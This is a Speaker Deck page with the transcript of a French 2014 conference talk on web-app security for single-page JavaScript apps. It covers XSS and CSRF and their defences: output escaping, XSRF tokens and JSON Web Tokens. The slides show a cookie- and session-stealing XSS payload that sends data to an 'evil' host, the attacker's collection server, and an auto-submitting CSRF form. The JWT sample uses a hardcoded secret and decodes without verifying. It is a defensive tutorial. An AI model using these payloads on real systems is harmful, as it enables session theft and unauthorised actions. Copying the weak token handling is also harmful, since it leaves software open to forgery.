Upgrade to Pro
— share decks privately, control downloads, hide ads and more …
Speaker Deck
Features
Speaker Deck
PRO
Sign in
Sign up for free
Search
Search
Ma SPA n’est pas sécurisée
Search
Philippe CHARRIERE
October 17, 2014
Programming
570
0
Share
Embed
Copy iframe code
Copy JS code
Copy link
Start on current slide
Ma SPA n’est pas sécurisée
pour BDX.IO
Philippe CHARRIERE
October 17, 2014
More Decks by Philippe CHARRIERE
See All by Philippe CHARRIERE
The Plan v3 pour BDX.io
k33g
1
210
Le Plan
k33g
0
220
Prog Fonctionnelle 🐑
k33g
1
400
Apéro fonctionnel
k33g
0
130
Scala Facile
k33g
0
300
Golo, the Tiny Language that gives super powers
k33g
0
140
Golo, the Tiny Language that gives super powers
k33g
0
290
Apéro Fonctionnel
k33g
0
280
Programmation fonctionnelle 🐑 en JS
k33g
2
300
Other Decks in Programming
See All in Programming
はてなアカウント基盤 State of the Union
cockscomb
1
1.3k
JAWS-UG横浜 #102 AWSサ終供養LT会 成仏できない AWS サービスたち 〜本日、三体供養します〜
maroon1st
0
240
ルールを書いて終わらせないハーネスエンジニアリング
yug1224
4
1.7k
鹿野さんに聞く!『TypeScriptコードレシピ集』で磨く実践力
tonkotsuboy_com
4
1.2k
Go言語とトイモデルで学ぶTransformerの気持ち / fukuokago23-transformer
monochromegane
0
140
言語を使う側から、作る側へ。 自作 Lisp で得た新たな気づき。
andpad
0
130
PostgreSQL 18で考えるUUID主キー
kazuhiro1982
0
350
初めてのKubernetes 本番運用でハマった話
oku053
0
130
共通化で考えるべきは、実装より公開する型だった
codeegg
0
280
改善しないと、タスクが回らない。 “てんこ盛りポジション” を引き継いだ情シスの、入社3ヶ月の業務改善録
krm963
0
180
AI時代のPHPer生存戦略 ~「言語、もうなんでもよくない?」に本気で向き合う~
vivion
0
160
才能?センス?知らん、 続けたもん勝ちだ。-- 結婚・出産・癌を越えてなお、私がプロダクトを創り続ける理由
16bitidol
2
910
Featured
See All Featured
We Have a Design System, Now What?
morganepeng
55
8.2k
The Art of Delivering Value - GDevCon NA Keynote
reverentgeek
16
2k
個人開発の失敗を避けるイケてる考え方 / tips for indie hackers
panda_program
123
22k
We Analyzed 250 Million AI Search Results: Here's What I Found
joshbly
1
1.6k
Measuring Dark Social's Impact On Conversion and Attribution
stephenakadiri
2
240
Designing Powerful Visuals for Engaging Learning
tmiket
1
460
Rails Girls Zürich Keynote
gr2m
96
14k
SEO for Brand Visibility & Recognition
aleyda
0
4.6k
Have SEOs Ruined the Internet? - User Awareness of SEO in 2025
akashhashmi
0
400
Navigating Weather and Climate Data
rabernat
0
400
Visualization
eitanlees
152
17k
Tips & Tricks on How to Get Your First Job In Tech
honzajavorek
1
620
Transcript
Oh! purée! Ma SPA n’est pas sécurisée @k33g_org
Un peu d’histoire
1995 + 10 Création de Javascript 1997 <iframe> IE 3
(4?) 1996 Netscape Navigator 2 avec le support JS 1998 Rhino Engine - Java 1999 ActiveX XMLHTTP IE5 1998 Mozilla Foundation
1995 + 10 Création de Javascript 1997 <iframe> IE 3
(4?) 1996 Netscape Navigator 2 avec le support JS 1998 Rhino Engine - Java 1999 ActiveX XMLHTTP IE5 1998 Mozilla Foundation
1995 + 10 Création de Javascript 1997 <iframe> IE 3
(4?) 1996 Netscape Navigator 2 avec le support JS 1998 Rhino Engine - Java 1999 ActiveX XMLHTTP IE5 1998 Mozilla Foundation
2000 XMLHttpRequest > Gecko 2004 GMail 2004-2005 XMLHttpRequest = Standard
“de fait” 2005 Google Map 2009 Node.js 2008 Google V8 engine
Et pendant ce temps …
Architecture Web Traditionnelle Navigateur Serveur App° Base de données DOM
+ JS View Controller Model SGBDR
2000 XMLHttpRequest > Gecko 2004 GMail 2004-2005 XMLHttpRequest = Standard
“de fait” 2005 Google Map 2009 Node.js 2008 Google V8 engine
2000 XMLHttpRequest > Gecko 2004 GMail 2004-2005 XMLHttpRequest = Standard
“de fait” 2005 Google Map 2009 Node.js 2008 Google V8 engine
Avril 2010 - Steve Jobs “tue” Flash
>> Pléthore de frameworks (javascript) MV*
Architecture (JS) Web Moderne “Serveur d’API” Navigateur Base de données
DOM + JS View Controller Model SGBDR, NoSQL REST APIs
Navigateur DOM + JS Serveur App° View Controller Model Navigateur
DOM + JS View Controller Model “Serveur d’API” REST APIs Avant HTML JSON Après
Votre navigateur est devenu intelligent
… Plus de failles de sécurité
XSS attacks
Injection de code malicieux dans votre application
<script id="tpl" type="tpl"> <% _.each(humans, function(human) { %> <li><%= human.firstName
%> <%= human.lastName %></li> <% }); %> </script>
var HumansView = Backbone.View.extend({ el:"ul", initialize: function() { this.listenTo(this.collection,'all',this.render); },
tpl:_.template($("#tpl").html()), render: function() { this.$el.html(this.tpl({humans:this.collection.toJSON()})); return this; } }); var humans = new Humans(); humansView = new HumansView({collection:humans}); setInterval(function () { humans.fetch(); }, 500);
Méchant hacker: côté serveur app.get("/hacked", function(req, res) { var data
= {cookie:req.param("a"), session:req.param("b")}; db.insert(data, function (err, newDoc) { res.statusCode = 200; console.log(data) res.send({message:";)"}); }); });
<script> var i = new Image(); i.src = "http://evil:3500/hacked/?a=" +
document.cookie + "&b=" + JSON.stringify(sessionStorage); </script> Affiche moi une image ;)
None
{"cookie":"mp_01eb2b950ae09a5fdb15a98dcc5ff20e_mixpa nel={\"distinct_id\": \"146038c6d8a44e-02e41af25-1f114552- fa000-146038c6d8d20b\",\"$initial_referrer\": \"$direct\",\"$initial_referring_domain\": \"$direct \"}; __atuvc=1|27; _ga=GA1.1.683483437.1400928194","session":"{\"userNa me\":\"k33g\",\"userSessionId\":
\"02941660-4b94-11e4-8ef2-8dc92b3e8e97\"} ","_id":"z67TEmfxLjSL84UH"}
Mais il est aussi possible de compromettre le fonctionnement de
l’application
Solution?
To sanitize (assainir)
< ➙ < > ➙ > & ➙ & "
➙ " ' ➙ '
<script id="tpl" type="tpl"> <% _.each(humans, function(human) { %> <li><%- human.firstName
%> <%- human.lastName %></li> <% }); %> </script>
Ça ne sert à rien de le faire au moment
du $post
XSS safe
> Faites le aussi côté serveur
XSRF attacks Cross-site request forgery
Votre application web est trop confiante!
Imaginez 1 site où l’admin peut ajouter des modérateurs …
qui eux- mêmes ont peuvent faire des choses
app.post("/admin/moderators/add/", function(req, res) { if (req.session.applicationUser) { if(req.session.applicationUser.authenticated && req.session.applicationUser.canAddModerator)
{ moderators.push(req.body.username); } else { res.json(401) } } else { res.json(403) } });
<!DOCTYPE html> <html> <head> <title>Hacked</title> </head> <body> <p>Hello! You've been
hacked :)))</p> <script> var form = document.createElement('form'); var input = document.createElement('input'); form.style.display = 'none'; form.setAttribute('method', 'POST'); form.setAttribute('action', 'http://votreapp/admin/moderators/add/'); input.name = 'username'; input.value = 'attacker'; form.appendChild(input); document.getElementsByTagName('body')[0].appendChild(form); form.submit(); </script> </body> http://www.k33g.org/ipad.html
None
None
Vous avez un nouveau modérateur … inconnu!
Solution(s)?
XSRF tokens
XSRF token: aléatoire, “imprévisible” inclus dans les requêtes associé à
une unique session
1. l’utilisateur s’authentifie 2. génération d’un token unique (côté serveur)
3. associé à la session utilisateur 4. embarqué dans la réponse http 5. “inscrit” dans la page 6. transmis à chaque requête pour vérification
app.post("/admin/moderators/add/", function(req, res) { if (req.session.applicationUser) { if(req.session.applicationUser.authenticated && req.session.applicationUser.canAddModerator)
{ moderators.push(req.body.username); //… app.post("/admin/moderators/add/", function(req, res) { if (req.session.applicationUser) { if(req.session.applicationUser.authenticated && req.session.applicationUser.canAddModerator && req.session.applicationUser.token==req.body.token) { req.session.applicationUser.token = uuid.v1(); 0-AVANT 1-Maintenant au login Génération d’un token côté serveur … $.post("/login", {name:"bob",pwd:"***"}) .done(function(data) { $("#token").val(data.token) }); 2-Récupération du token côté page <form action="/admin/moderators/add/" method="POST"> <input type="text" name="username"> <input id="token" type="text" name="token"> <input type="submit" value="Add"> </form> 3-Envoyer le token quand on “POST” 4-vérifier le token (côté serveur) … associé à la session utilisateur
Json Web Tokens
Même principe que les XSRF tokens, mais sans session
app.post("/login", function(req, res) { var user = req.body; if (!(user.name=="bob"
&& user.pwd=="bob")) { res.send(401,"go away!"); return; } var applicationUser = { name: user.name, authenticated: true, canAddModerator: true } // on envoie les informations à l'intérieur du token var token = jwt.sign( applicationUser, "secret", { expiresInMinutes: 60*5 }); res.send({ token: token }); }); utilisation de jsonwebtoken https://www.npmjs.org/package/jsonwebtoken Génération d’un token côté serveur …
Côté client $.post("/login", {name:"bob",pwd:"***"}) .done(function(data) { window.localStorage.setItem('token', data.token) }); app.get('/api/try',function(req,
res){ var decoded = jwt.decode(req.headers.token, "secret"); if(decoded) { res.json({message:"yesss!"}) } else { res.send(401,"go away!"); return; } }); Vérifier le token côté serveur …
None
None
ça fonctionne très bien avec CORS (Cross-origin resource sharing)
Sur de vieux navigateurs, cela va être plus difficile
Donc XSS attacks XSRF attacks mais aussi JSON hijacking Usurpation
d’identité …
Moralité réfléchissez bien à vos implémentations faites le dès le
début essayez de hacker votre app ne focalisez pas uniquement sur le js
Merci https://github.com/k33g/ma-spa-nest-pas-securisee